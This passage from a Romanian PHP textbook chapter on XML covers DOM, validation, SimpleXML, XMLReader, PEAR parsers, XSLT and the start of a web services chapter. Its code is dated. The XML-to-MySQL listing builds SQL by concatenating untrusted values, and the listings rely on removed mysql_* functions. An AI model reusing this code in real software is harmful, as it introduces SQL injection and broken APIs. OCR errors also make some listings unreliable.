$html->setAttribute(”xmlns”,
”http://www.w3.org/1999/xhtml”);
$html->setAttribute(”xml:lang”, ”en”);
$html->setAttribute(”lang”, ”en”);
$dom->appendChild($html);
$head = $dom->createElement(’head’);
$html->appendChild($head);
$title = $dom->createElement(’title’);
$title->appendChild($dom->createTextNode(”PHP”));
$head->appendChild($title);
/* Crearea elementului body */
$body = $dom->createElement(’body’);
$body->setAttribute(”bgcolor”, ”silver”);
$html->appendChild($body);
/* Crearea elementului p */
$p = $dom->createElement(’p’);
$body->appendChild($p);
/* Adauga ”Utilizati PHP” */
$text = $dom->createTextNode(”Utilizati PHP ”);
$p->appendChild($text);
/* Adauga o legatura */
134 PROGRAMAREA ÎN PHP

$a = $dom->createelement(’a’);
$a->setAttribute(”href”, ”http://www.php.net/”);
$a->appendChild($dom->createTextNode(”(sit PHP)”));
$p->appendChild($a);
/* Adauga punctul de final si un element <br>*/
$text = $dom->createTextNode(”.”);
$p->appendChild($text);
$br = $dom->createElement(’br’);
$p->appendChild($br);
// Adauga ”Succes!”
$text = $dom->createTextNode(”Succes!”);
$p->appendChild($text);
echo $dom->saveHTML();
?>

În continuare este prezentat codul XHTML generat:


<html xmlns=”http://www.w3.org/1999/xhtml”
xml:lang=”en” lang=”en”>
<head>
<title>PHP</title>
</head>
<body bgcolor=”silver”>
<p>Utilizati PHP<a href=”http://www.php.net/”>
(sit PHP)</a>.<br/>Succes!
</p>
</body>
</html>
În scriptul prezentat anterior sunt utilizate metodele:
• DOMNode->appendChild() (adaugã un copil într-o listã existentã sau creeazã o
nouã listã);
• DOMDocumen->createElement() (creeazã o nouã instanþã a clasei DOMElement;
nodul-element creat trebuie apoi inserat în arborele XML utilizând metoda DOMNode->
appendChild() );
• DOMDocument->createTextNode() (creeazã o nouã instanþã a clasei DOMText ;
nodul text creat trebuie apoi inserat în arborele XML cu metoda DOMDocument->
appendChild() );
• DOMDocument->saveHTML() (descarcã arborele XML într-un ºir, utilizând forma-
tarea HTML).
Dacã doriþi sã salvaþi documentul XHTML pe disc, înlocuiþi DOMDocument->
saveHTML() cu DOMDocument->saveHTMLFile(). Aceastã metodã primeºte ca argument
calea fiºierului HTML (e.g., /tmp/test.html).
În listing-ul 6.9 este inclus un script care poate fi utilizat pentru generarea unui
document XML (salvaþi scriptul în fiºierul xml_tree.php):
PHP ªI XML 135

6.9. Fiºierul xml_tree.php


<?php
$dom = new DomDocument();
$root = $dom->createElement(’playlist’);
$dom->appendChild($root);
$album = $dom->createElement(’album’);
$root->appendChild($album);
$name = $dom->createElement(’name’);
$name->appendChild($dom->createTextNode(”Greatest Hits
III”));
$album->appendChild($name);
$artist= $dom->createElement(’artist’);
$artist->appendChild($dom->createTextNode(”Queen”));
$album->appendChild($artist);
$piece = $dom->createElement(’piece’);
$piece->appendChild($dom->createTextNode(”Heaven For
Everyone”));
$album->appendChild($piece);
$piece = $dom->createElement(’piece’);
$piece->appendChild($dom->createTextNode(”One Year Of
Love”));
$album->appendChild($piece);
$piece = $dom->createElement(’piece’);
$piece->appendChild($dom->createTextNode(”You Don’t Fool
Me”));
$album->appendChild($piece);
echo $dom->saveXML();
?>

Metoda DOMDocument->saveXML() creeazã documentul XML din reprezentarea


DOM a acestuia ºi îl întoarce într-un ºir. Primeºte ca argument opþional un obiect
DOMNode, caz în care va întoarce numai porþiunea din document ce include nodul
respectiv. Dupã execuþia scriptului, browserul va afiºa documentul XML creat:
<?xml version=”1.0”?>
<playlist>
<album>
<name>Greatest Hits III</name>
<artist>Queen</artist>
<piece>Heaven For Everyone</piece>
<piece>One Year Of Love</piece>
<piece>You Don’t Fool Me</piece>
</album>
</playlist>
Documentul XML rezultat poate fi salvat pe disc dacã înlocuiþi rândul echo $dom->
saveXML() cu rândul $dom->save(”filename”) (puteþi utiliza, de exemplu, $dom->
save(”album.xml”)).
136 PROGRAMAREA ÎN PHP

Validarea documentelor XML


În PHP 4, documentele XML pot fi validate utilizând numai Document Type Definition
(DTD). PHP 5 suportã validarea documentelor XML utilizând DTD, XML Schema ºi
RelaxNG.
În continuare vom prezenta un exemplu de validare utilizând XML Schema (PHP 5).
Copiaþi fiºierul catalog.xml în subdirectorul dom. Listingul 6.10 conþine schema XML
pentru documentul catalog.xml. Salvaþi acest listing în fiºierul catalog.xsd.
6.10. Fiºierul catalog.xsd
<?xml version=”1.0” encoding=”UTF-8”?>
<xs:schema xmlns:xs=”http://www.w3.org/2001/XMLSchema”>
<xs:element name=”catalog”>
<xs:complexType>
<xs:sequence>
<xs:element name=”student” maxOccurs=”unbounded”>
<xs:complexType>
<xs:sequence>
<xs:element name=”name” type=”xs:string”/>
<xs:element name=”year” type=”xs:string”/>
<xs:element name=”age” type=”xs:integer”/>
</xs:sequence>
</xs:complexType>
</xs:element>
</xs:sequence>
</xs:complexType>
</xs:element>
</xs:schema>

Listing-ul 6.11 conþine codul pentru validarea documentului XML inclus în catalog.xml.
Salvaþi conþinutul acestui listing în fiºierul validschema.php.

6.11. Fiºierul validschema.php


<?php
// Este incarcat documentul XML din fisier
$dom = new DOMDocument;
$dom->load(’catalog.xml’);
// Se valideaza documentul incarcat
if(!$dom->schemaValidate(’catalog.xsd’))
echo ”Documentul nu este valid\n”;
else
echo ”Documentul este valid\n”;
?>

Metoda DOMDocument->schemaValidate() valideazã un document XML bazat pe


o schemã datã (numele fiºierului care include schema se transmite ca argument funcþiei).
PHP ªI XML 137

Executaþi fiºierul validschema.php (http://127.0.0.1/xml/dom/validschema.php).


Browserul va afiºa „Documentul este valid”.
Puteþi sã validaþi un document XML ºi pe baza documentului DTD asociat. Pentru
aceasta, în fiºierul catalog.xml, introduceþi linia urmãtoare dupã declaraþia XML:
<!DOCTYPE catalog SYSTEM ”catalog.dtd”>
Copiaþi în dom fiºierul catalog.dtd. Pentru validarea documentului XML inclus în
catalog.xml, utilizaþi scriptul urmãtor (pe care-l puteþi salva în fiºierul validtd.php):
<?php
$dom = new DOMDocument;
$dom->load(’catalog.xml’);
if ($dom->validate())
echo ”Documentul este valid!\n”;
else
echo ”Documentul nu este valid!\n”;
?>
Metoda DOMDocument->validate() valideazã un document XML pe baza descrierii
sale conþinute în DTD-ul asociat. Metoda întoarce TRUE în caz de succes sau FALSE în
caz contrar.
Pentru validarea documentelor XML bazate pe schema RelaxNG utilizaþi metoda
DOMDocument->relaxNGValidate().

Export de date MySQL în XML


API-ul PHP DOM permite realizarea unor aplicaþii pentru exportul în documente XML
al datelor conþinute în bazele de date. În continuare (listing-ul 6.12) prezentãm o astfel
de aplicaþie, care realizeazã exportul într-un document XML al datelor incluse într-un
tabel MySQL.

6.12. Fiºierul mysql2xml.php


<?php
$host = ”localhost”;
$db = ”car”;
$user = ””;
$passw = ””;
$table = ”info”;
$con = mysql_pconnect($host,$user,$passw) or
die(”Conexiunea nu a putut fi realizata!”);
mysql_select_db($db,$con) or
die(”Accesul la baza de date nu a fost realizat”);
$result = mysql_query(”SELECT * FROM ”.$table.
” ORDER BY price DESC”);
// Se creeaza un document XML
$doc = new DOMDocument;
// Se adauga primul element (elementul-radacina)
138 PROGRAMAREA ÎN PHP

$root = $doc->createElement($table);
$doc->appendChild($root);
/* Se extrag inregistrarile din tabel si se adauga cate un
nod in arborele XML pentru fiecare camp */
while($row = mysql_fetch_assoc($result)) {
$occ = $doc->createElement(’record’);
$root->appendChild($occ);
foreach($row as $fieldname => $fieldvalue) {
$child = $doc->createElement($fieldname);
$occ->appendChild($child);
$fieldvalue = mb_convert_encoding(
$fieldvalue,’UTF-8’, ’ISO-8859-1’);
$value = $doc->createTextNode($fieldvalue);
$child->appendChild($value);
}
}
// Documentul XML este salvat pe disc
$doc->save($table.”.xml”);
?>

afiºate dupã executarea scriptului din listing-ul 6.12

Export de date
MySQL în XML

Dupã cum se poate constata, scriptul inclus listing-ul anterior realizeazã exportul
datelor incluse în tabelul info al bazei de date car (create anterior) într-un document
XML care va fi salvat pe disc în fiºierul info.xml.
Salvaþi conþinutul listing-ului 6.12 în fiºierul mysql2xml.php ºi executaþi-l (http://
127.0.0./xml/dom/mysql2xml.php).
PHP ªI XML 139

În script este utilizatã funcþia mb_convert_encoding(), al cãrei prototip este


prezentat în continuare:
string mb_convert_encoding ( string string,
string to_encoding [, mixed from_encoding] )
Funcþia converteºte codificarea utilizatã de ºirul string de la from_encoding la
to_encoding . Codificarea iniþialã poate fi precizatã ca un tablou sau ca un ºir (ale
cãrui valori sunt separate prin virgulã).

Crearea arborelui XML utilizând PEAR::XML_Serializer


Puteþi crea un document XML utilizând pachetul PEAR:XML_Serializer (http://
pear.php.net/package/XML_Serializer), dezvoltat de Stephan Schmidt. Pentru început,
trebuie sã instalaþi acest pachet:
pear install -o XML_Serializer

Pachetul PEAR::XML_Serializer conþine definiþiile claselor XML_Serializer ºi


XML_Unserializer. Clasa XML::Serializer serializeazã (adicã transformã în docu-
mente XML) date PHP complexe (i.e., tablouri ºi obiecte). În felul acesta pot fi generate
documente XML fãrã a utiliza DOM. În continuare (listing-ul 6.13) vã prezentãm un
exemplu de utilizare a acestei clase. Salvaþi conþinutul listing-ului în fiºierul
xml_tree_pear.php.

6.13. Fiºierul xml_tree_pear.php


<?php
require_once(’XML/Serializer.php’);
// Se definesc datele care vor fi transformate
$product = array(
’title’ => ’Situri Web la cheie’,
’author’ => ’Sabin Buraga (coord.)’,
’publisher’ => ’POLIROM’
);
// Se defineste un tablou cu optiuni de serializare
$options = array (
’addDecl’ => TRUE,
’encoding’ => ‘ISO-8859-1’,
’indent’ => ’ ’,
’rootName’ => ’book’,
);
// Se instantiaza un obiect XML_Serializer cu optiuni
$Serializer = &new XML_Serializer($options);
// Se realizeaza serializarea structurii de date
$status = $Serializer->serialize($product);
/* Se verifica daca nu au fost generate erori
in cursul procesului de serializare */
if (PEAR::isError($status)) {
140 PROGRAMAREA ÎN PHP

die($status->getMessage());
}
// Se afiseaza documentul XML generat
header(”Content-type: text/xml”);
echo $Serializer->getSerializedData();
?>

Dupã execuþia scriptului, browserul va afiºa documentul XML creat:


<?xml version=”1.0” encoding=”ISO-8859-1”?>
<book>
<title>Situri Web la cheie</title>
<author>Sabin Buraga (coord.)</author>
<publisher>POLIROM</publisher>
</book>

Dupã cum se poate observa în scriptul prezentat, pentru a genera un document XML
folosind pachetul PEAR::XML_Serializer, trebuie parcurse etapele descrise în continuare:
• se creeazã o structurã de date PHP de tip tablou asociativ (e.g., $product) sau
obiect, care va fi transformatã (serializatã) într-un document XML;
• se declarã o serie de opþiuni de serializare sub forma unui tablou asociativ (e.g.,
$options );
• se realizeazã serializarea structurii de date. Pentru aceasta trebuie generatã o instanþã
a clasei XML_Serializer ºi, apoi, folositã metoda serialize() a obiectului
respectiv;
• documentul XML obþinut poate fi afiºat (dacã se doreºte).
În continuare sunt prezentate opþiunile de serializare utilizate în scriptul anterior
(puteþi obþine lista completã a opþiunilor – în numãr de 27 – analizând definiþia clasei
XML_Serializer instalatã în sistem):
• addDecl – în cazul în care are valoarea TRUE, adaugã instrucþiunea de procesare
<?xml version=”1.0”?>; valoarea implicitã este FALSE;
• encoding – stabileºte codificarea utilizatã în document, adãugând atributul encoding
(e.g., <?xml version=”1.0” encoding=”ISO-8869-1”?> ); valoarea implicitã
este ””;
• indent – precizeazã un ºir utilizat pentru indentarea marcajelor; astfel, documentul
XML generat va fi mai uºor accesibil utilizatorului uman; valoarea implicitã a
opþiunii este ””;
• rootName – precizeazã numele elementului-rãdãcinã al documentului XML generat;
valoarea implicitã este array .
În continuare, sunt prezentate metodele clasei XML_Serializer utilizate în scriptul
anterior (puteþi obþine lista completã a metodelor – în numãr de 11 – analizând definiþia
clasei sau documentaþia pachetului, pe care o gãsiþi la adresa http://pear.php.net/
manual/en/package.xml.xml-serializer.php):
• constructorul XML_Serializer::XML_Serializer() primeºte ca argument opþio-
nal tabloul $options, care conþine opþiuni de serializare. În cazul în care tabloul nu
este transmis ca argument sau, dacã este transmis, precizeazã valori numai pentru o
PHP ªI XML 141

parte a opþiunilor posibile, vor fi utilizate valori implicite pentru opþiunile care nu
sunt precizate în mod explicit;
• metoda XML_Serializer::serialize() primeºte ca argument structura de date
care urmeazã a fi serializatã. Valoarea întoarsã poate fi TRUE, în caz de succes, sau
un obiect PEAR_Error, în cazul în care s-a produs o eroare;
• metoda XML_Serializer::getSerializedData() întoarce (sub formã de ºir)
documentul XML serializat sau un obiect PEAR_Error, în cazul apariþiei unei erori.

Procesarea documentelor XML utilizând SimpleXML


Începând cu versiunea 5.0, PHP furnizeazã un set de instrumente – cunoscut sub numele
de SimpleXML (http://ro.php.net/simple_xml) – utilizat pentru procesarea fiºierelor
XML. SimpleXML a fost implementat pentru prima oarã în Perl (XML::Simple) de
cãtre Grant McLean.
Codul XML este convertit într-un obiect, care, ulterior, poate fi procesat – prin
intermediul structurii foreach – pentru a obþine acces la elementele XML ºi la conþinutul
acestora (numele elementelor XML sunt mapate la proprietãþile obiectului). Pentru
realizarea acestei conversii sunt utilizate funcþiile simplexml_load_{file|string}().
Codul PHP inclus în exemplele furnizate în aceastã secþiune va fi executat corect
numai dacã serverul pe care îl utilizaþi foloseºte versiunea 5.0 sau una ulterioarã a PHP.
Creaþi subdirectorul simplexml în directorul xml. Salvaþi în fiºierul simple_xml.php codul
inclus în listing-ul 6.14 ºi executaþi-l (http://127.0.0.1/xml/simplexml/simple_xml.php).
6.14. Fiºierul simple_xml.php
<!DOCTYPE html
PUBLIC ”-//W3C//DTD XHTML 1.0 Transitional//EN”
”DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<title>Simple XML</title>
</head>
<body>
<p style=’font-family: tahoma; font-size: 18px;
text-align: left;’>Studenti</p>
<?php
// Incarca fisierul XML
$catalog = simplexml_load_file(’../sax/catalog.xml’);
foreach ($catalog->student as $student) {
echo ”<p><span style=’font-family: tahoma;
font-size: 14px; color: red’>
Nume: ”.$student->name.”</span><br />
<span style=’font-family: tahoma;
font-size: 14px;’>
An: ”.$student->year.”</span><br />
<span style=’font-family: tahoma;
142 PROGRAMAREA ÎN PHP

font-size: 14px;’>
Varsta: ”.$student->age.”</span><br /></p>”;
}
?>
</body>
</html>

Dacã veþi compara fiºierele parsexml.php ºi parsexml2.php (incluse în subdirectorul


sax) cu fiºierul simple_xml.php (inclus în subdirectorul simplexml), folosind drept criteriu
de comparaþie mãrimea acestora, veþi constata cã ultimul fiºier are o mãrime mult mai
micã decât primele douã. De aici rezultã avantajul metodei SimpleXML în raport cu
SAX în ceea ce priveºte efortul de programare.
afiºate dupã executarea scriptului din listing-ul 6.14

Procesarea fiºierelor XML


utilizând interfaþa
SimpleXML din PHP 5

Procesarea documentelor XML utilizând XMLReader


Consideraþii asupra metodei
XMLReader este un API (introdus în Microsoft.NET) care realizeazã procesarea orientatã
pe flux a documentelor XML. Extensia PHP XMLReader este disponibilã în PECL – PHP
Extension Community Library, http://pecl.php.net – pentru versiunea 5.0 ºi inclusã implicit
în versiunea 5.1. Aceastã extensie este rapidã ºi suportã procesarea spaþiilor de nume XML
ºi reguli de validare a documentelor. Se recomandã înlocuirea SAX cu XMLReader.
Pentru instalarea extensiilor PECL vezi http://maconlinux.net/php-online-manual/
en/install.pecl.html. Utilizorii Windows pot descãrca pachetele PECL (arhivate
în Collection of PECL modules for PHP) gata compilate de la http://www.php.net/
downloads.php. Fiecãrei extensii PECL îi corespunde un fiºier DLL. Pentru ca extensia
sã poatã fi utilizatã, trebuie ca fiºierul respectiv sã fie copiat în directorul C:\php\ext. Pentru
fiecare fiºier copiat în acest director, în fiºierul php.ini trebuie adãugatã câte o linie:
PHP ªI XML 143

extension=php_extname.dll
Extensia PHP XMLReader furnizeazã acces read only ºi forward only la fluxul de
date XML. Se utilizeazã un cursor (sau cititor) care este mutat de la un nod la altul al
documentului XML. Nodul curent este nodul pe care este poziþionat cursorul. Avansul
cursorului se realizeazã utilizând oricare dintre metodele de citire.

Exemplu de procesare XML cu XMLReader


În listing-ul 6.15 este inclus un script care permite afiºarea numelui, valorii ºi adâncimii
(în structura arborescentã a documentului XML) fiecãrui nod. Creaþi subdirectorul
reader în xml, salvaþi în el fiºierul xmlreader.php, care conþine scriptul, ºi executaþi-l
(http://127.0.0.1/xml/reader/xmlreader.php).
6.15. Fiºierul xmlreader.php
<?php
$reader = new XMLReader;
$reader->open(’../sax/catalog.xml’);
while($reader->read()) {
if($reader->nodeType != XMLREADER_END_ELEMENT) {
echo ’Nume nod: ’ . $reader->name . ”<br/>”;
echo ’Valoare nod: ’ . $reader->value . ”<br/>”;
echo ’Adancime nod: ’ . $reader->depth . ”<br/>”;
}
}
$reader->close();
?>

Metoda XMLReader este constructorul clasei cu acelaºi nume. Metoda open()


stabileºte fiºierul care va fi procesat (primeºte ca argument URI-ul acestui fiºier), iar
metoda XMLReader->read() mutã cursorul la urmãtorul nod al arborelui XML.
Proprietãþile XMLReader->nodeType, XMLReader->name, XMLReader->value ºi
XMLReader->depth au ca valori tipul nodului curent, numele, valoarea ºi, respectiv,
adâncimea acestuia. Proprietatea XMLReader->nodeType are ca valoare o constantã;
sunt posibile optsprezece valori (vezi manualul PHP). Valoarea XMLREADER_END_ELEMENT
indicã sfârºitul unui element.

Procesarea documentelor XML utilizând PEAR


Pachetul PEAR::XML_Parser
Categoria XML (http://pear.php.net/packages.php?catpid=22&catname=XML) din
PEAR conþine 28 de pachete. Dintre ele vom utiliza în aceastã secþiune PEAR::XML_Parser
(http://pear.php.net/package/XML_Parser), dezvoltat de Stig Bakken, Stephan Schmidt
ºi Thomas V.V. Cox. Pachetul conþine fiºierul Parse.php, care include definiþia clasei
XML_Parser (derivatã din clasa PEAR, clasa de bazã pentru clasele PEAR), utilizatã
144 PROGRAMAREA ÎN PHP

pentru procesarea documentelor XML. Procesarea se bazeazã pe expat ºi implementeazã


metoda SAX.
Clasa XML_Pear furnizeazã douã moduri de procesare a documentelor XML: func ºi
event. În modul func, XML_Parser va apela metode diverse, bazate pe numele marcajului
(tag-ului) XML, denumite dupã sintaxa xmltag_[tagname]. De exemplu, metoda pentru
procesarea marcajelor de deschidere <book> se va numi xmltag_book. În modul event,
XML_Parser va apela întotdeauna metodele numite startHandler() ºi endHandler(),
independent de numele marcajului XML procesat. Numele elementului corespunzãtor
marcajului va fi transmis funcþiilor ca al doilea parametru, iar procesarea marcajului
respectiv se va face utilizând – de cele mai multe ori – instrucþiunea switch.
Nu puteþi utiliza direct clasa XML_Parser, dar puteþi defini o clasã proprie care
extinde XML_Parser ºi implementeazã funcþii pentru tratarea evenimentelor XML.
Începând cu versiunea 1.2.0, pachetul XML_Parser include ºi clasa XML_Parser_
Simple, derivatã din XML_Parser. Aceastã clasã face posibilã procesarea mai
simplã (în raport cu XML_Parser) a documentelor XML, furnizând o stivã
pentru elemente.

Exemplu de procesare XML cu PEAR::XML_Parser


În continuare vom prezenta un exemplu de procesare XML bazatã pe clasa XML_Parser.
Creaþi subdirectorul pear în directorul xml. Salvaþi în pear fiºierul pear_xml.php, care
va include codul din listing-ul 6.16:
6.16. Fiºierul pear_xml.php
<?php
require_once(’XML/Parser.php’);
class myParser extends XML_Parser {
function myParser() {
parent::XML_Parser();
}
function startHandler($xp, $name, $attribs) {
// Adaugati cod
}
function endHandler($xp, $name) {
// Adaugati cod
}
function cdataHandler($xp, $data){
echo ”<span style=’font-family: tahoma;
font-size: 14px;’>”.$data.”</span><br />”;
}
}
$parser = new myParser();
$result = $parser->setInputFile(’../sax/catalog.xml’);
$result = $parser->parse();
?>
PHP ªI XML 145

Export de date XML în MySQL


Utilizând una dintre metodele SAX sau DOM se poate realiza exportul datelor incluse în
documentele XML în baze de date. În continuare, prezentãm un exemplu (listing-ul
6.17) în care datele incluse într-un document XML sunt exportate într-un tabel MySQL
prin intermediul pachetului PEAR::XML_Parser (via metoda SAX).
Este necesar ca, în prealabil, sã creaþi o bazã de date (fie aceasta dom) ºi un tabel (fie
acesta catalog) în care veþi stoca datele incluse în documentul XML (fie acesta
catalog.xml). Este necesar s㠄potriviþi” coloanele tabelului cu elementele XML:
mysql>CREATE DATABASE dom;
mysql>USE dom;
mysql>CREATE TABLE catalog (
->name VARCHAR(50) NOT NULL default ’’,
->year VARCHAR(4) NOT NULL default ’’,
->age iINT(2) NOT NULL default ’0’,
->PRIMARY KEY (name)
->);
Nodul de nivel 1 al arborelui XML corespunde tabelului MySQL, nodul-element de
nivel 2, unei înregistrãri, iar nodul-element de nivel 3 corespunde unui câmp dintr-o
înregistrare. Numãrul câmpurilor dintr-o înregistrare a tabelului MySQL este egal cu
numãrul nodurilor-element de nivel 3. Utilizând aceastã modalitate, puteþi exporta
documente XML în care nodurile sunt distribuite pe trei niveluri.
6.17. Fiºierul xml2mysql.php
<?php
require_once ’XML/Parser.php’;
class myParser extends XML_Parser {
var $dat = ””; // Sir care va include datele din doc. XML
var $str = ””; // Sir care va include interogarea SQL
var $name = ””; // Numele elementului XML
function myParser() {
parent::XML_Parser();
}
/* Functie care trateaza evenimentul aparitiei marcajului
de inceput al unui element XML */
function startHandler($xp, $name, $attribs) {
$this->name = $name;
if($name == ”STUDENT”) {
$this->str = ””;
$this->dat = ””;
$this->str = ”INSERT INTO catalog (”;
}
if($name != “STUDENT”)
$this->str .= strtolower($name) .”,”;
}
146 PROGRAMAREA ÎN PHP

/* Functie care trateaza evenimentul aparitiei marcajului


de sfarsit al unui element XML */
function endHandler($xp, $name) {
if($name != ”STUDENT”)
$this->dat .= ”,”;
if($name == ”STUDENT”) {
$this->str = substr($this->str,0,
strlen($this->str)-1);
$this->dat = substr($this->dat,0,
strlen($this->dat)-1);
$this->str .= ”) VALUES (” . $this->dat . ”)”;
@mysql_query($this->str);
}
}
/* Functie care trateaza evenimentul aparitiei unui
nod text XML */
function cdataHandler($xp, $data) {
if($this->name != ”STUDENT”){
$data = trim($data);
if(!empty($data))
$this->dat .= ”’$data’”;
}
}
}
// Date necesare conectarii la baza de date
$db_host = ”localhost”;
$db_user = ””;
$db_pass = ””;
$db_name = ”dom”;
// Conectarea la serverul MySQL si selectarea bazei de date
mysql_connect($db_host,$db_user,$db_pass);
mysql_select_db($db_name);
// Se creeaza un procesor XML
$parser = new myParser();
// Se stabileste fisierul XML care va fi procesat
$result = $parser->setInputFile(’../sax/catalog.xml’);
// Se proceseaza documentul XML
$result = $parser->parse();
?>

Dupã cum se poate constata, introducerea datelor în tabelul catalog are loc odatã cu
execuþia metodei endHandler(), dacã nodul-element procesat este student. Interogarea
SQL se construieºte pe baza ºirurilor $str ºi $dat, ce reþin numele elementelor XML ºi,
respectiv, datele XML. Salvaþi conþinutul listing-ului 6.17 în fiºierul xml2mysql.php ºi
executaþi-l (http://127.0.0.1/xml/dom/xml2mysql.php). În concordanþã cu conþinutul
fiºierului catalog.xml, sunt generate urmãtoarele ºiruri (care vor fi transmise – ca
interogãri SQL, serverului MySQL – prin intermediul funcþiei mysql_query() ):
PHP ªI XML 147

INSERT INTO catalog (name,year,age)


VALUES (’Mircea Damian’,’I’,’19’)
INSERT INTO catalog (name,year,age)
VALUES (’Radu Florescu’,’II’,’20’)
INSERT INTO catalog (name,year,age)
VALUES (’Catalin Popescu’,’I’,’18’)
INSERT INTO catalog (name,year,age)
VALUES (’Sorin Danciu’,’III’,’21’)
INSERT INTO catalog (name,year,age)
VALUES (’Sorin Danciu’,’III’,’21’)

Utilizarea PHP pentru transformarea XSLT


a documentelor XML
Extensia PHP XSLT realizeazã transformarea XSLT a documentelor XML. În acest scop,
sunt utilizate bibliotecile libxslt (http://xmlsoft.org/XSLT/) ºi libxml. PHP 5 include aceastã
extensie în mod implicit. Pentru a o utiliza, ºtergeþi marcajul de comentariu de pe linia
extension=php_xsl.dll în php.ini (platforma Windows), respectiv adãugaþi --with-xsl[=DIR] în
linia de configurare (UNIX/Linux). Funcþionalitatea extensiei XSLT este încapsulatã în clasa
XSLTProcessor. Metodele acestei clase folosesc obiecte DOMNode.
În continuare vom prezenta un exemplu în care un document XML va fi transformat
într-un document XHTML. Creaþi subdirectorul xslt. În acest director salvaþi fiºierul
catalog.xsl, al cãrui conþinut este prezentat în listing-ul 6.18.
6.18. Fiºierul catalog.xsl
<?xml version=”1.0” encoding=”ISO-8859-1”?>
<xsl:stylesheet version=”1.0”
xmlns:xsl=”http://www.w3.org/1999/XSL/Transform”>
<xsl:template match=”/”>
<html>
<body>
<center><h2>Studenti</h2></center>
<table border=”1” cellpadding=”5” align=”center”>
<tr bgcolor=”silver”>
<th align=”center”>Name</th>
<th align=”center”>Year</th>
<th align=”center”>Age</th>
</tr>
<xsl:for-each select=”catalog/student”>
<tr>
<td><xsl:value-of select=”name”/></td>
<td><xsl:value-of select=”year”/></td>
<td><xsl:value-of select=”age”/></td>
</tr>
148 PROGRAMAREA ÎN PHP

</xsl:for-each>
</table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
Editaþi fiºierul catalog.xml ºi adãugaþi (dupã prima linie):
<?xml-stylesheet href=”catalog.xsl” type=”text/xsl”?>
Salvaþi în fiºierul xslt.php codul inclus în listing-ul 6.19.
6.19. Fiºierul xslt.php
<?php
// Este incarcat documentul XML
$xml = new DomDocument;
$xml->load(’../sax/catalog.xml’);
// Este incarcat documentul XSL
$xsl = new DomDocument;
$xsl->load(’catalog.xsl’);
// Se creeaza un procesor
$processor = new XSLTProcessor;
// Se includ regulile xsl definite în catalog.sxl
$processor->importStyleSheet($xsl);
// Se realizeaza transformarea
echo $processor->transformToXML($xml);
?>
Metoda XSLTProcessor() este constructorul clasei cu acelaºi nume,
XSLTProcessor->importStylesheet() importã conþinutul obiectului XSL transmis
ca argument, pentru a fi utilizat în transformarea documentului XML, iar XSLTProcessor->
transformToXML() realizeazã transformarea propriu-zisã a documentului respectiv.
Rezultatul pe care-l veþi obþine dupã execuþia scriptului inclus în xslt.php va fi similar cu
cel prezentat în continuare:
afiºate dupã execuþia scriptului din listing-ul 6.19

Transformarea XSLT
a documentelor XML
folosind PHP

Pentru transformarea XSLT a documentelor XML poate fi utilizat ºi pachetul PEAR


XML_Transformer (http://pear.php.net/package/XML_Transformer).
PHP ªI XML 149

CAPITOLUL 7

PHP ºi serviciile Web


„Din moment ce nu existã lucruri simple
în Univers, totul este complex.”
J.L. Borges

În acest capitol veþi obþine informaþii despre serviciile Web ºi


tehnologiile utilizate (protocol de comunicare, limbaj de descriere
ºi standard de înregistrare ºi regãsire) ºi veþi învãþa sã scrieþi
clienþi pentru serviciile Web publice pe baza informaþiilor incluse
în fiºierele WSDL ale acestora. Spre finalul acestui capitol veþi
afla cum puteþi integra în situl propriu rezultatele furnizate de
motoarele de cãutare Yahoo! ºi Google.

Introducere în serviciile Web


Programarea distribuitã
Când se creeazã aplicaþii mari, uneori este mai eficient ca anumite procese sã fie
executate pe sisteme diferite, crescând astfel performanþa aplicaþiilor. Aceastã soluþie
impune un nou tip de abordare a programãrii obiectuale, numitã programare distribuitã.
Aplicaþiile rezultate sunt executate în sisteme distribuite.
Este necesar ca o aplicaþie executatã în sisteme distribuite sã permitã interacþiunea
între componentele sale. În acest scop, trebuie stabilit un protocol de comunicare. Unele
organizaþii au încercat sã-ºi impunã propria soluþie, precum CORBA (Common Request
Brocker Architecture), DCOM (Distributed Component Object Model) de la Microsoft,
RMI/IIOP (Remote Method Invocation over Internet Inter-Orb Protocol) de la Sun
Microsystems etc. Diversitatea acestor soluþii ridicã urmãtoarele probleme:
• lipsa unor standarde oficiale. Nu existã standarde oficiale (e.g., W3C) care sã
impunã reguli stricte producãtorilor;
• lipsa de interoperabilitate. Soluþiile enumerate au fiecare moduri specifice pentru
împachetarea ºi transmiterea datelor în reþea. De aici rezultã imposibilitatea comu-
nicãrii între ele. Totuºi, existã încercãri de a surmonta obstacolul, de exemplu COM/
CORBA bridge.
• lipsa comunicãrii între diverse limbaje.
150 PROGRAMAREA ÎN PHP

Standarde utilizate
Conceptul de serviciu Web a apãrut în 1999, odatã cu încercãrile unor firme
(e.g., Hewlett-Packard) de a realiza aplicaþii distribuite în Internet. Un pas
înainte a fost fãcut de Microsoft prin intermediul platformei .NET, care are
drept element de bazã noþiunea de serviciu Web. Apariþia acestei platforme a constituit un
semnal pentru marile firme, care au început încorporarea rapidã a noii tehnologii în
produsele lor.
Serviciile Web sunt aplicaþii modulare sau funcþii independente ºi autodescriptive
care pot fi apelate în Internet sau în intranetul unei firme. Funcþiile pot realiza diverse
operaþii, de la simpla validare a unor date pânã la efectuarea de calcule complexe sau
procesarea afacerilor. Ele realizeazã schimbul de date în sisteme distribuite via TCP, prin
intermediul protocolului HTTP, folosind formatul XML pentru a împacheta cererea ºi
rãspunsul.
În principiu, un serviciu Web funcþioneazã astfel: utilizatorul efectueazã o cerere,
iar serviciul Web furnizeazã un rãspuns, ambele în format XML. Acest proces este
denumit generic Web service consuming.
Descrierea serviciilor Web (locaþie, operaþiuni, parametri ºi tipuri de date) se reali-
zeazã prin intermediul limbajului WSDL (Web Service Description Language), dezvoltat
de IBM ºi Microsoft. WSDL este similar cu un limbaj de schemã XML. De altfel,
WDSL utilizeazã toate tipurile de date din specificaþiile XML Schema. Folosind acest
limbaj, se pot crea fiºiere XML care conþin seturi de definiþii ce descriu serviciile Web.
Un fiºier cu extensia wsdl, care include un document WSDL, furnizeazã toate informaþiile
necesare pentru a accesa ºi utiliza un serviciu Web. Documentul WSDL este folosit în
cursul dezvoltãrii unui serviciu Web pentru a crea interfaþa acestuia. Utilizând diverse
instrumente (e.g., Axis, http://ws.apache.org/axis/http://ws.apache.org/axis), se pot
crea clase Java – care sã reprezinte serviciul Web – dintr-un fiºier WSDL (vezi WSDL2Java
pentru informaþii suplimentare).
Înregistrarea ºi gãsirea serviciilor Web se realizeazã prin intermediul standardului
